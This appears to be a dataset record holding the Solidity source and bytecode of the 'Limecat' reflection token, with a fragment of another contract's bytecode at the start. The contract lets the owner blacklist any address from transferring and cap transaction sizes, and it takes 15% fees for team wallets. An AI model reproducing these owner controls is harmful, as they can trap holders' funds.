15260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039390931683526020830191909152604082015260600190565b6020808252825182820181905260009190848201906040850190845b81811015612706578351835292840192918401916001016126ea565b50909695505050505050565b901515815260200190565b602081016002831061273f57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082526121056020830184612614565b600060a0825261276b60a0830188612614565b828103602084015261277d8188612614565b905082810360408401526127918187612614565b60608401959095525050608001529392505050565b6020808252818101527f546865207374617465206f662067756172616e746f72206973206c6f636b6564604082015260600190565b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b60208082526024908201527f546865207374617465206f662067756172616e746f72206973206e6f74206c6f60408201526318dad95960e21b606082015260800190565b60208082526017908201527f496e76616c69642067756172616e746f7220696e646578000000000000000000604082015260600190565b60208082526024908201527f4f6e6c79206e6f742070726f63657373696e672067756172616e74656520616d6040820152631bdd5b9d60e21b606082015260800190565b6020808252602f908201527f5468652061646472657373206f66206d73672e73656e64657220697320616c7260408201526e1958591e481c9959da5cdd195c9959608a1b606082015260800190565b6020808252600a908201526937b7363c9030b236b4b760b11b604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b60208082526034908201527f6d73672e73656e6465722073686f756c64206265207468652067756172616e746040820152730dee440decc40ceeac2e4c2dce8dee492dcc8caf60631b606082015260800190565b60208082526019908201527f496e76616c6964206665652070657263656e74206c696d697400000000000000604082015260600190565b60208082526025908201527f5265676973746572696e6720616d6f756e742073686f756c64206e6f74206265604082015264207a65726f60d81b606082015260800190565b60208082526030908201527f4554482076616c756520697320737570706f73656420746f206265203020666f60408201526f7220455243323020696e7374616e636560801b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b602080825260139082015272125b9d985b1a5908199959481c195c98d95b9d606a1b604082015260600190565b602080825260119082015270125b9cdd59999a58da595b9d08199d5b99607a1b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526035908201527f576974686472617720616d6f756e742073686f756c64206265206c65737320746040820152743430b71033bab0b930b73a37b913b990333ab7321760591b606082015260800190565b60208082526017908201527f496e76616c69642067756172616e74656520696e646578000000000000000000604082015260600190565b90815260200190565b8681526001600160a01b038681166020830152851660408201526060810184905263ffffffff8316608082015260c060a08201819052600090612c7e90830184612614565b98975050505050505050565b8781526001600160a01b0387811660208301528616604082015263ffffffff8516606082015260c060808201819052600090612cc990830185876125ea565b90508260a083015298975050505050505050565b600087825286602083015263ffffffff8616604083015260a06060830152612d0960a0830185876125ea565b9050826080830152979650505050505050565b60008219821115612d2f57612d2f612e0c565b500190565b600082612d4f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612d6e57612d6e612e0c565b500290565b600082821015612d8557612d85612e0c565b500390565b60005b83811015612da5578181015183820152602001612d8d565b8381111561205e5750506000910152565b600281046001821680612dca57607f821691505b60208210811415612deb57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612e0557612e05612e0c565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220d3a9ce8b20c4b9495ec25a2aaca481f2e815a065202e3c8534746a1f93eaec9b64736f6c63430008000033
{"success": true, "error": null, "results": {}}
8,349
0xcacf04d0f0a185c3fcfdd2408baa8e37be3700e6
/* One cat to rule them all... https://Limecat.io https://twitter.com/LimecatOfficial https://t.me/LimecatETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LimeCat is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Limecat"; string private constant _symbol = 'LCAT️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 13; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600781526020017f4c696d6563617400000000000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4c434154efb88f00000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073fffffffffffffffffffffffff